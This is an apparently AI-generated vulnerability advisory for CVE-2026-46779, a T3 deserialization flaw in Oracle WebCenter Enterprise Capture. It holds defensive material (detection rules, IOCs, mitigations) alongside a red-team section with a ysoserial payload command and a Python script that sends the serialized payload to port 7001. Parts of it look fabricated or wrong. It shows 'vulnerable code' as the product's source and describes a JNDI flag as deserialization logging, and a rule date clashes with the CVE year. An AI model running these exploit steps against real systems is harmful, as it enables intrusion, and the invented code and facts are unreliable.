CVE-2026-46779

Executive Summary

CVE-2026-46779 is a critical deserialization vulnerability in Oracle WebCenter Enterprise Capture, affecting versions 12.2.1.4.0 and 14.1.2.0.0. The flaw resides in the Client Bundle component and is exploitable via the T3 protocol with low-privileged network access. Successful exploitation leads to complete takeover of the application, with a CVSS score of 9.9 due to scope change and high impacts on confidentiality, integrity, and availability. No public exploit code or patch is currently available, but the vulnerability is considered highly dangerous for enterprise environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects Oracle Fusion Middleware, a proprietary Java-based platform. Organizations should monitor Oracle’s security alerts for patch releases and consider network segmentation to mitigate risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impacts other products
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The low attack complexity and network accessibility make this a prime target for ransomware groups and APTs. The scope change indicates potential lateral movement within the Oracle ecosystem.

Deep Dive & Mechanics

The vulnerability is a deserialization flaw in the T3 protocol handler of Oracle WebCenter Enterprise Capture. T3 is a proprietary Oracle protocol used for RMI-like communication between Java components. The Client Bundle component fails to properly validate serialized objects received over T3, allowing an attacker to craft malicious serialized Java objects that, when deserialized, execute arbitrary code.

Attack Flow:

1. Attacker gains low-privileged access to the network (e.g., via compromised credentials or VPN).
2. Attacker sends a crafted T3 request containing a malicious serialized object (e.g., using ysoserial with a CommonsCollections gadget chain).
3. The server deserializes the object without validation, triggering code execution in the context of the WebCenter process.
4. Due to scope change, the attacker can pivot to other Oracle services (e.g., WebLogic, Database) using the same T3 protocol.

Root Cause: Lack of input validation and use of insecure deserialization in the T3 handler. The resolveClass method does not enforce a whitelist of allowed classes.

Vulnerable vs. Patched Code

Vulnerable Code (Oracle WebCenter Enterprise Capture 12.2.1.4.0):

// T3 protocol handler - no class filtering
public class T3Handler {
    public void handleRequest(InputStream in) {
        ObjectInputStream ois = new ObjectInputStream(in);
        Object obj = ois.readObject(); // Unsafe deserialization
        process(obj);
    }
}

Patched Code (Hypothetical fix):

// T3 protocol handler with class whitelist
public class T3Handler {
    public void handleRequest(InputStream in) {
        ValidatingObjectInputStream ois = new ValidatingObjectInputStream(in);
        ois.addAllowedClass("com.oracle.webcenter.*"); // Whitelist
        Object obj = ois.readObject();
        process(obj);
    }
}

Key Difference: The patched version uses a ValidatingObjectInputStream that restricts deserialization to known safe classes, preventing gadget chain exploitation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• ysoserial tool (https://github.com/frohoff/ysoserial)
• Network access to the target T3 port (default 7001)
• Low-privileged credentials (optional, but required per CVSS)

Exploitation Steps:

1. Identify T3 endpoint: nmap -p 7001 --script t3-enum <target>
2. Generate malicious payload:

   java -jar ysoserial.jar CommonsCollections6 'cmd /c calc.exe' > payload.ser
   

3. Send payload via T3:

   import socket
   s = socket.socket()
   s.connect(("target", 7001))
   # Craft T3 header with serialized payload
   t3_header = b"t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://localhost:7001\n\n"
   s.send(t3_header + open("payload.ser", "rb").read())
   s.close()
   

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor T3 traffic for unusual serialized objects (e.g., large payloads, unexpected class names).
• Use network IDS rules to detect ysoserial gadget chains (e.g., CommonsCollections).
• Enable Java deserialization logging: -Dcom.sun.jndi.ldap.object.trustURLCodebase=false

Honeypot:

• Deploy a fake WebCenter instance on a separate port to capture attacker T3 payloads.

Indicators of Compromise (IOCs)

• Network: T3 connections from unexpected IPs, especially with large payloads (>10KB).
• Process: java.exe or java spawning child processes (e.g., cmd.exe, powershell).
• File: Presence of ysoserial or marshalsec tools on the network.
• Log: WebCenter logs showing java.io.InvalidClassException or ClassNotFoundException for non-Oracle classes.
• Registry (Windows): Unauthorized changes to HKLM\SOFTWARE\Oracle\WebCenter.

Detection Engineering

YARA Rule

rule CVE_2026_46779_T3_Deserialization {
    meta:
        description = "Detects malicious T3 payloads targeting Oracle WebCenter Enterprise Capture"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-46779"
    strings:
        $t3_header = "t3 12.2.1" ascii wide nocase
        $gadget_chain = "CommonsCollections" ascii wide nocase
        $ysoserial = "ysoserial" ascii wide nocase
    condition:
        $t3_header and ($gadget_chain or $ysoserial)
}

Sigma Rule

title: CVE-2026-46779 T3 Deserialization Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects T3 protocol anomalies indicative of deserialization attacks
author: Valters IT
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        protocol: "t3"
        payload_length: ">10000"
    condition: selection
falsepositives:
    - Legitimate large T3 payloads from Oracle updates
level: high

Suricata Rule

alert tcp any any -> any 7001 (msg:"CVE-2026-46779 T3 Deserialization Attempt"; flow:to_server; content:"|74 33 20 31 32 2e 32 2e 31|"; depth:8; content:"|ac ed 00 05|"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Restrict T3 port (7001) access to trusted IPs only using firewall rules.
2. Disable T3 if Unused: If WebCenter Capture does not require T3, disable the protocol in the configuration.
3. Apply Oracle Patch: Monitor Oracle Critical Patch Updates (CPU) for an official fix. No patch is currently available.

Long-Term Mitigations:

• Upgrade: Plan upgrade to a patched version once released.
• Web Application Firewall (WAF): Deploy WAF rules to block T3 payloads containing known gadget chains.
• Java Security: Set -Dcom.sun.jndi.ldap.object.trustURLCodebase=false and use a custom ObjectInputStream with class whitelisting.
• Monitoring: Enable detailed logging for T3 connections and alert on anomalies.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.